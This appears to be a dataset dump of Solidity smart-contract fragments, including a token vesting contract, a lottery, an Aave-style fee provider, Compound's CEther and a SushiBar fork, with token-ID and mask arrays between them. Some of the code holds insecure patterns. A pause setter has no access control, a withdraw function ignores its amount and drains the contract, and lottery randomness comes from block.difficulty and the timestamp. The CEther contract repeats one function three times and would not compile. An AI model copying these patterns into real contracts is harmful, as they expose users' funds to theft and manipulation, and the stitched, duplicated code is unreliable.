release_per_period[_addr] = _amount.div(total_release_periods); } function setPuase(bool is_pause) external { pause = is_pause; } function claimTokens() whenNotPaused external { require(total_lock_amount[msg.sender] != 0, "User does not have lock record"); require(total_lock_amount[msg.sender].sub(user_released[msg.sender]) > 0, "all token has been claimed"); uint256 periods = block.timestamp.sub(start_time).div(1 days); uint256 total_release_amount = release_per_period[msg.sender].mul(periods); if(total_release_amount >= total_lock_amount[msg.sender]){ total_release_amount = total_lock_amount[msg.sender]; } uint256 release_amount = total_release_amount.sub(user_released[msg.sender]); // update user info user_released[msg.sender] = total_release_amount; require(dpr.balanceOf(address(this)) >= release_amount, "MerkleClaim: Balance not enough"); require(dpr.transfer(msg.sender, release_amount), "MerkleClaim: Transfer Failed"); emit claim(msg.sender, release_amount); } function unreleased(address user) external view returns(uint256){ return total_lock_amount[user].sub(user_released[user]); } function withdraw(address _to, uint256 _amount) external onlyOwner{ require(dpr.transfer(_to, dpr.balanceOf(address(this))), "MerkleClaim: Transfer Failed"); } function pullTokens(uint256 _amount) external onlyOwner{ require(dpr.transferFrom(owner, address(this), _amount), "MerkleClaim: TransferFrom failed"); } }
2021 年 05 月 10 日 08:00
uint256 public start_time = 1627776000;
8,034,285
[ 1, 18212, 21, 225, 166, 122, 117, 15331, 225, 167, 255, 235, 1728, 225, 167, 250, 103, 16314, 30, 713, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 787, 67, 957, 273, 2872, 22, 4700, 6669, 3784, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x32758Ec6e59207BE8b6A17744BfDA64233065dDD/sources/Lottery.sol
1 - 隨機挑選(helper function) 2 -
function random() private view returns (uint) { return uint(keccak256(block.difficulty, now, players)); }
5,148,382
[ 1, 21, 300, 225, 170, 253, 106, 167, 107, 258, 167, 239, 244, 170, 228, 121, 12, 4759, 445, 13, 576, 300, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2744, 1435, 3238, 1476, 1135, 261, 11890, 13, 288, 203, 3639, 327, 2254, 12, 79, 24410, 581, 5034, 12, 2629, 18, 5413, 21934, 16, 2037, 16, 18115, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/56/0x7B9D43599AA3C5590CF068bE7BD67Ebf30462b47/sources/FeeProvider.sol
* @dev disable the stable borrow rate mode on a reserve @param _reserve the address of the reserve/
function disableReserveStableBorrowRate(address _reserve) external onlyLendingPoolConfigurator { CoreLibrary.ReserveData storage reserve = reserves[_reserve]; reserve.isStableBorrowRateEnabled = false; }
11,035,155
[ 1, 8394, 326, 14114, 29759, 4993, 1965, 603, 279, 20501, 225, 389, 455, 6527, 326, 1758, 434, 326, 20501, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4056, 607, 6527, 30915, 38, 15318, 4727, 12, 2867, 389, 455, 6527, 13, 203, 3639, 3903, 203, 3639, 1338, 48, 2846, 2864, 17182, 203, 565, 288, 203, 3639, 4586, 9313, 18, 607, 6527, 751, 2502, 20501, 273, 400, 264, 3324, 63, 67, 455, 6527, 15533, 203, 3639, 20501, 18, 291, 30915, 38, 15318, 4727, 1526, 273, 629, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xbDADDC6a1321Ed458b53aB9e51DC0De8dba78D43/sources/contracts/CEther.sol
* @title Compound's CEther Contract @notice CToken which wraps Ether @dev This contract should not to be deployed on its own; instead, deploy `CEtherDelegator` (proxy contract) and `CEtherDelegate` (logic/implementation contract). @author Compound/
contract CEther is CToken, CEtherInterface { function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, string memory name_, string memory symbol_, uint256 reserveFactorMantissa_, uint256 adminFeeMantissa_) public { uint256 initialExchangeRateMantissa_ = 0.2e18; uint8 decimals_ = 18; super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, reserveFactorMantissa_, adminFeeMantissa_); } function mint() external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } function repayBorrow() external payable { (uint err,) = repayBorrowInternal(msg.value); requireNoError(err, "repayBorrow failed"); } function repayBorrowBehalf(address borrower) external payable { (uint err,) = repayBorrowBehalfInternal(borrower, msg.value); requireNoError(err, "repayBorrowBehalf failed"); } function liquidateBorrow(address borrower, CToken cTokenCollateral) external payable { (uint err,) = liquidateBorrowInternal(borrower, msg.value, cTokenCollateral); requireNoError(err, "liquidateBorrow failed"); } function () external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } function getCashPrior() internal view returns (uint) { (MathError err, uint startingBalance) = subUInt(address(this).balance, msg.value); require(err == MathError.NO_ERROR); return startingBalance; } function doTransferIn(address from, uint amount) internal returns (uint) { require(msg.sender == from, "sender mismatch"); require(msg.value == amount, "value mismatch"); return amount; } function doTransferOut(address payable to, uint amount) internal { to.transfer(amount); } function requireNoError(uint errCode, string memory message) internal pure { if (errCode == uint(Error.NO_ERROR)) { return; } bytes memory fullMessage = new bytes(bytes(message).length + 7); uint i; for (i = 0; i < bytes(message).length; i++) { fullMessage[i] = bytes(message)[i]; } fullMessage[i+0] = byte(uint8(32)); fullMessage[i+1] = byte(uint8(40)); fullMessage[i+2] = byte(uint8(48 + ( errCode / 1000 ))); fullMessage[i+3] = byte(uint8(48 + ( errCode / 100 % 10 ))); fullMessage[i+4] = byte(uint8(48 + ( errCode / 10 % 10 ))); fullMessage[i+5] = byte(uint8(48 + ( errCode % 10 ))); fullMessage[i+6] = byte(uint8(41)); require(errCode == uint(Error.NO_ERROR), string(fullMessage)); } function requireNoError(uint errCode, string memory message) internal pure { if (errCode == uint(Error.NO_ERROR)) { return; } bytes memory fullMessage = new bytes(bytes(message).length + 7); uint i; for (i = 0; i < bytes(message).length; i++) { fullMessage[i] = bytes(message)[i]; } fullMessage[i+0] = byte(uint8(32)); fullMessage[i+1] = byte(uint8(40)); fullMessage[i+2] = byte(uint8(48 + ( errCode / 1000 ))); fullMessage[i+3] = byte(uint8(48 + ( errCode / 100 % 10 ))); fullMessage[i+4] = byte(uint8(48 + ( errCode / 10 % 10 ))); fullMessage[i+5] = byte(uint8(48 + ( errCode % 10 ))); fullMessage[i+6] = byte(uint8(41)); require(errCode == uint(Error.NO_ERROR), string(fullMessage)); } function requireNoError(uint errCode, string memory message) internal pure { if (errCode == uint(Error.NO_ERROR)) { return; } bytes memory fullMessage = new bytes(bytes(message).length + 7); uint i; for (i = 0; i < bytes(message).length; i++) { fullMessage[i] = bytes(message)[i]; } fullMessage[i+0] = byte(uint8(32)); fullMessage[i+1] = byte(uint8(40)); fullMessage[i+2] = byte(uint8(48 + ( errCode / 1000 ))); fullMessage[i+3] = byte(uint8(48 + ( errCode / 100 % 10 ))); fullMessage[i+4] = byte(uint8(48 + ( errCode / 10 % 10 ))); fullMessage[i+5] = byte(uint8(48 + ( errCode % 10 ))); fullMessage[i+6] = byte(uint8(41)); require(errCode == uint(Error.NO_ERROR), string(fullMessage)); } }
17,030,205
[ 1, 16835, 1807, 29538, 1136, 13456, 225, 385, 1345, 1492, 9059, 512, 1136, 225, 1220, 6835, 1410, 486, 358, 506, 19357, 603, 2097, 4953, 31, 3560, 16, 7286, 1375, 1441, 1136, 15608, 639, 68, 261, 5656, 6835, 13, 471, 1375, 1441, 1136, 9586, 68, 261, 28339, 19, 30810, 6835, 2934, 225, 21327, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 29538, 1136, 353, 385, 1345, 16, 29538, 1136, 1358, 288, 203, 565, 445, 4046, 12, 799, 337, 1539, 1358, 532, 337, 1539, 67, 16, 203, 13491, 5294, 395, 4727, 1488, 16513, 4727, 1488, 67, 16, 203, 13491, 533, 3778, 508, 67, 16, 203, 13491, 533, 3778, 3273, 67, 16, 203, 13491, 2254, 5034, 20501, 6837, 49, 970, 21269, 67, 16, 203, 13491, 2254, 5034, 3981, 14667, 49, 970, 21269, 67, 13, 1071, 288, 203, 3639, 2254, 5034, 2172, 11688, 4727, 49, 970, 21269, 67, 273, 374, 18, 22, 73, 2643, 31, 203, 3639, 2254, 28, 15105, 67, 273, 6549, 31, 203, 3639, 2240, 18, 11160, 12, 832, 337, 1539, 67, 16, 16513, 4727, 1488, 67, 16, 2172, 11688, 4727, 49, 970, 21269, 67, 16, 508, 67, 16, 3273, 67, 16, 15105, 67, 16, 20501, 6837, 49, 970, 21269, 67, 16, 3981, 14667, 49, 970, 21269, 67, 1769, 203, 565, 289, 203, 203, 203, 565, 445, 312, 474, 1435, 3903, 8843, 429, 288, 203, 3639, 261, 11890, 393, 16, 13, 273, 312, 474, 3061, 12, 3576, 18, 1132, 1769, 203, 3639, 2583, 2279, 668, 12, 370, 16, 315, 81, 474, 2535, 8863, 203, 565, 289, 203, 203, 565, 445, 283, 24903, 12, 11890, 283, 24903, 5157, 13, 3903, 1135, 261, 11890, 13, 288, 203, 3639, 327, 283, 24903, 3061, 12, 266, 24903, 5157, 1769, 203, 565, 289, 203, 203, 565, 445, 283, 24903, 14655, 6291, 12, 11890, 283, 24903, 6275, 13, 3903, 1135, 261, 11890, 13, 288, 203, 3639, 327, 283, 24903, 14655, 6291, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; // BeverageBar is the coolest bar in town. You come in with some DRINK, and leave with more! The longer you stay, the more DRINK you get. // // This contract handles swapping to and from xDRINK, Beverage.finance's staking token. // This contract is forked from SushiBar. contract BeverageBar is ERC20("BeverageBar", "xDRINK"){ using SafeMath for uint256; IERC20 public sushi; // Define the Sushi token contract constructor(IERC20 _sushi) public { sushi = _sushi; } // Enter the bar. Pay some SUSHIs. Earn some shares. // Locks Sushi and mints xSushi function enter(uint256 _amount) public { // Gets the amount of Sushi locked in the contract uint256 totalSushi = sushi.balanceOf(address(this)); // Gets the amount of xSushi in existence uint256 totalShares = totalSupply(); // If no xSushi exists, mint it 1:1 to the amount put in if (totalShares == 0 || totalSushi == 0) { _mint(msg.sender, _amount); } // Calculate and mint the amount of xSushi the Sushi is worth. The ratio will change overtime, as xSushi is burned/minted and Sushi deposited + gained from fees / withdrawn. else { uint256 what = _amount.mul(totalShares).div(totalSushi); _mint(msg.sender, what); } // Lock the Sushi in the contract sushi.transferFrom(msg.sender, address(this), _amount); } // Leave the bar. Claim back your SUSHIs. // Unlocks the staked + gained Sushi and burns xSushi function leave(uint256 _share) public { // Gets the amount of xSushi in existence uint256 totalShares = totalSupply(); // Calculates the amount of Sushi the xSushi is worth uint256 what = _share.mul(sushi.balanceOf(address(this))).div(totalShares); _burn(msg.sender, _share); sushi.transfer(msg.sender, what); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // 